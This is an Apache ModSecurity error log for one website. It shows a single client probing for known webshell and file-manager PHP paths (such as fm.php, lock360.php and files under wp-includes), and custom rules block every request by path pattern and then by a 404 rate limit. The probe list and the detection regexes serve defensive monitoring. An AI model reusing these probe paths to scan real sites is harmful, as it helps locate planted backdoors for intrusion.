[Mon Mar 30 03:47:19.250741 2026] [:error] [pid 4033:tid 4070] [client 51.120.74.80:34646] [client 51.120.74.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "acmBx6nf-DXI9VblHi0XkgAAABE"]
[Mon Mar 30 03:47:24.143520 2026] [:error] [pid 55884:tid 55971] [client 51.120.74.80:44924] [client 51.120.74.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "acmBzDjuYLVkve3VbhxdvAAAARI"]
[Mon Mar 30 03:47:25.835864 2026] [:error] [pid 4033:tid 4075] [client 51.120.74.80:20924] [client 51.120.74.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/about.php"] [unique_id "acmBzanf-DXI9VblHi0X0AAAABY"]
[Mon Mar 30 03:47:32.435120 2026] [:error] [pid 4033:tid 4053] [client 51.120.74.80:39928] [client 51.120.74.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/Text/admin.php"] [unique_id "acmB1Knf-DXI9VblHi0YEgAAAAA"]
[Mon Mar 30 03:47:43.490823 2026] [:error] [pid 4033:tid 4068] [client 51.120.74.80:51259] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "acmB36nf-DXI9VblHi0YjgAAAA8"]
[Mon Mar 30 03:47:44.235726 2026] [:error] [pid 4033:tid 4077] [client 51.120.74.80:31225] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "acmB4Knf-DXI9VblHi0YmAAAABg"]
[Mon Mar 30 03:47:45.108747 2026] [:error] [pid 55884:tid 55973] [client 51.120.74.80:31183] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "acmB4TjuYLVkve3VbhxeIwAAARQ"]
[Mon Mar 30 03:47:45.732727 2026] [:error] [pid 55884:tid 55977] [client 51.120.74.80:49328] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "acmB4TjuYLVkve3VbhxeKwAAARg"]
[Mon Mar 30 03:47:46.439556 2026] [:error] [pid 4040:tid 4119] [client 51.120.74.80:51247] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "acmB4gxlbJV8kpOpFvY63gAAAIs"]
[Mon Mar 30 03:47:47.223249 2026] [:error] [pid 4034:tid 4104] [client 51.120.74.80:31216] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "acmB47fAq8eF_uU4gu2CRwAAAFc"]
[Mon Mar 30 03:47:47.908710 2026] [:error] [pid 55884:tid 55973] [client 51.120.74.80:51702] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "acmB4zjuYLVkve3VbhxeNAAAARQ"]
[Mon Mar 30 03:47:48.669065 2026] [:error] [pid 55884:tid 55969] [client 51.120.74.80:49287] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "acmB5DjuYLVkve3VbhxeOAAAARA"]
[Mon Mar 30 03:47:49.375715 2026] [:error] [pid 4040:tid 4112] [client 51.120.74.80:23128] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thoms.php"] [unique_id "acmB5QxlbJV8kpOpFvY67gAAAIQ"]
[Mon Mar 30 03:47:49.961180 2026] [:error] [pid 4033:tid 4064] [client 51.120.74.80:48773] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thoms.php"] [unique_id "acmB5anf-DXI9VblHi0YuQAAAAs"]
[Mon Mar 30 03:47:50.666834 2026] [:error] [pid 4139:tid 4169] [client 51.120.74.80:27712] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thoms.php"] [unique_id "acmB5oYyhg47TZoaP9LvEAAAANY"]
[Mon Mar 30 03:47:51.315503 2026] [:error] [pid 55884:tid 55960] [client 51.120.74.80:14721] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thoms.php"] [unique_id "acmB5zjuYLVkve3VbhxeQAAAAQc"]
[Mon Mar 30 03:47:51.922973 2026] [:error] [pid 4139:tid 4148] [client 51.120.74.80:36492] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/O-Simple.php"] [unique_id "acmB54Yyhg47TZoaP9LvEgAAAME"]
[Mon Mar 30 03:47:52.605268 2026] [:error] [pid 55884:tid 55963] [client 51.120.74.80:39927] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/O-Simple.php"] [unique_id "acmB6DjuYLVkve3VbhxeRgAAAQo"]
[Mon Mar 30 03:47:53.166574 2026] [:error] [pid 4033:tid 4076] [client 51.120.74.80:32450] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/O-Simple.php"] [unique_id "acmB6anf-DXI9VblHi0Y3QAAABc"]
[Mon Mar 30 03:47:53.885779 2026] [:error] [pid 4033:tid 4061] [client 51.120.74.80:53321] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/O-Simple.php"] [unique_id "acmB6anf-DXI9VblHi0Y4QAAAAg"]
[Mon Mar 30 03:47:54.493247 2026] [:error] [pid 4034:tid 4091] [client 51.120.74.80:4794] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-.php"] [unique_id "acmB6rfAq8eF_uU4gu2CUwAAAEo"]
[Mon Mar 30 03:47:55.039498 2026] [:error] [pid 4033:tid 4077] [client 51.120.74.80:27713] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-.php"] [unique_id "acmB66nf-DXI9VblHi0Y7wAAABg"]
[Mon Mar 30 03:47:55.614727 2026] [:error] [pid 4139:tid 4153] [client 51.120.74.80:52259] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-.php"] [unique_id "acmB64Yyhg47TZoaP9LvJQAAAMY"]
[Mon Mar 30 03:47:56.225589 2026] [:error] [pid 4139:tid 4168] [client 51.120.74.80:47760] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-.php"] [unique_id "acmB7IYyhg47TZoaP9LvKAAAANU"]
[Mon Mar 30 03:47:57.024668 2026] [:error] [pid 55884:tid 55973] [client 51.120.74.80:23121] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "acmB7TjuYLVkve3VbhxeWgAAARQ"]
[Mon Mar 30 03:47:57.633858 2026] [:error] [pid 4034:tid 4086] [client 51.120.74.80:20874] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "acmB7bfAq8eF_uU4gu2CZwAAAEU"]
[Mon Mar 30 03:47:58.311633 2026] [:error] [pid 4033:tid 4065] [client 51.120.74.80:47801] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "acmB7qnf-DXI9VblHi0Y_gAAAAw"]
[Mon Mar 30 03:47:59.071179 2026] [:error] [pid 55884:tid 55959] [client 51.120.74.80:52233] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "acmB7zjuYLVkve3VbhxeaQAAAQY"]
[Mon Mar 30 03:47:59.742148 2026] [:error] [pid 4033:tid 4072] [client 51.120.74.80:35172] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ee.php"] [unique_id "acmB76nf-DXI9VblHi0ZDAAAABM"]
[Mon Mar 30 03:48:00.423875 2026] [:error] [pid 4040:tid 4112] [client 51.120.74.80:53374] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ee.php"] [unique_id "acmB8AxlbJV8kpOpFvY7BQAAAIQ"]
[Mon Mar 30 03:48:01.024417 2026] [:error] [pid 4033:tid 4066] [client 51.120.74.80:14782] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ee.php"] [unique_id "acmB8anf-DXI9VblHi0ZFQAAAA0"]
[Mon Mar 30 03:48:01.685144 2026] [:error] [pid 55884:tid 55971] [client 51.120.74.80:48777] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ee.php"] [unique_id "acmB8TjuYLVkve3VbhxefQAAARI"]
[Mon Mar 30 03:48:02.409316 2026] [:error] [pid 4033:tid 4054] [client 51.120.74.80:48770] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/epinyins.php"] [unique_id "acmB8qnf-DXI9VblHi0ZIAAAAAE"]
[Mon Mar 30 03:48:03.182887 2026] [:error] [pid 4034:tid 4104] [client 51.120.74.80:32489] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/epinyins.php"] [unique_id "acmB87fAq8eF_uU4gu2CbAAAAFc"]
[Mon Mar 30 03:48:04.017705 2026] [:error] [pid 4033:tid 4059] [client 51.120.74.80:57399] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/epinyins.php"] [unique_id "acmB9Knf-DXI9VblHi0ZKgAAAAY"]
[Mon Mar 30 03:48:04.835731 2026] [:error] [pid 4139:tid 4165] [client 51.120.74.80:4798] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/epinyins.php"] [unique_id "acmB9IYyhg47TZoaP9LvUwAAANI"]
[Mon Mar 30 03:48:05.436795 2026] [:error] [pid 4033:tid 4071] [client 51.120.74.80:4777] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/i1.php"] [unique_id "acmB9anf-DXI9VblHi0ZOwAAABI"]
[Mon Mar 30 03:48:06.066618 2026] [:error] [pid 4139:tid 4154] [client 51.120.74.80:39882] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/i1.php"] [unique_id "acmB9oYyhg47TZoaP9LvXQAAAMc"]
[Mon Mar 30 03:48:06.718521 2026] [:error] [pid 55884:tid 55973] [client 51.120.74.80:51699] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/i1.php"] [unique_id "acmB9jjuYLVkve3VbhxemwAAARQ"]
[Mon Mar 30 03:48:07.629446 2026] [:error] [pid 4034:tid 4100] [client 51.120.74.80:53330] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/i1.php"] [unique_id "acmB97fAq8eF_uU4gu2CeQAAAFM"]
[Mon Mar 30 03:48:08.289229 2026] [:error] [pid 4139:tid 4160] [client 51.120.74.80:23116] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vv.php"] [unique_id "acmB-IYyhg47TZoaP9LvYwAAAM0"]
[Mon Mar 30 03:48:09.090575 2026] [:error] [pid 4033:tid 4067] [client 51.120.74.80:27745] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vv.php"] [unique_id "acmB-anf-DXI9VblHi0ZYgAAAA4"]
[Mon Mar 30 03:48:09.716996 2026] [:error] [pid 4139:tid 4147] [client 51.120.74.80:53375] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vv.php"] [unique_id "acmB-YYyhg47TZoaP9LvaQAAAMA"]
[Mon Mar 30 03:48:10.321822 2026] [:error] [pid 4139:tid 4165] [client 51.120.74.80:35139] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vv.php"] [unique_id "acmB-oYyhg47TZoaP9LvbwAAANI"]
[Mon Mar 30 03:48:11.058424 2026] [:error] [pid 4034:tid 4086] [client 51.120.74.80:39889] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "acmB-7fAq8eF_uU4gu2ChwAAAEU"]
[Mon Mar 30 03:48:11.887345 2026] [:error] [pid 4033:tid 4067] [client 51.120.74.80:51701] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "acmB-6nf-DXI9VblHi0ZegAAAA4"]
[Mon Mar 30 03:48:12.564300 2026] [:error] [pid 55884:tid 55960] [client 51.120.74.80:51673] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "acmB_DjuYLVkve3VbhxetwAAAQc"]
[Mon Mar 30 03:48:13.214320 2026] [:error] [pid 4034:tid 4085] [client 51.120.74.80:35180] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "acmB_bfAq8eF_uU4gu2CigAAAEQ"]
[Mon Mar 30 03:48:13.882610 2026] [:error] [pid 4033:tid 4061] [client 51.120.74.80:51319] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sk.php"] [unique_id "acmB_anf-DXI9VblHi0ZjAAAAAg"]
[Mon Mar 30 03:48:14.596871 2026] [:error] [pid 4033:tid 4053] [client 51.120.74.80:23128] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sk.php"] [unique_id "acmB_qnf-DXI9VblHi0ZjwAAAAA"]
[Mon Mar 30 03:48:15.303720 2026] [:error] [pid 4033:tid 4076] [client 51.120.74.80:50584] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sk.php"] [unique_id "acmB_6nf-DXI9VblHi0ZmgAAABc"]
[Mon Mar 30 03:48:16.066244 2026] [:error] [pid 4033:tid 4069] [client 51.120.74.80:32488] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sk.php"] [unique_id "acmCAKnf-DXI9VblHi0ZogAAABA"]
[Mon Mar 30 03:48:16.922468 2026] [:error] [pid 55884:tid 55962] [client 51.120.74.80:14746] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "acmCADjuYLVkve3VbhxeywAAAQk"]
[Mon Mar 30 03:48:17.522926 2026] [:error] [pid 4033:tid 4067] [client 51.120.74.80:16061] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "acmCAanf-DXI9VblHi0ZrAAAAA4"]
[Mon Mar 30 03:48:18.508955 2026] [:error] [pid 55884:tid 55965] [client 51.120.74.80:40965] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "acmCAjjuYLVkve3Vbhxe1AAAAQw"]
[Mon Mar 30 03:48:19.224522 2026] [:error] [pid 4033:tid 4063] [client 51.120.74.80:52344] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "acmCA6nf-DXI9VblHi0ZvAAAAAo"]
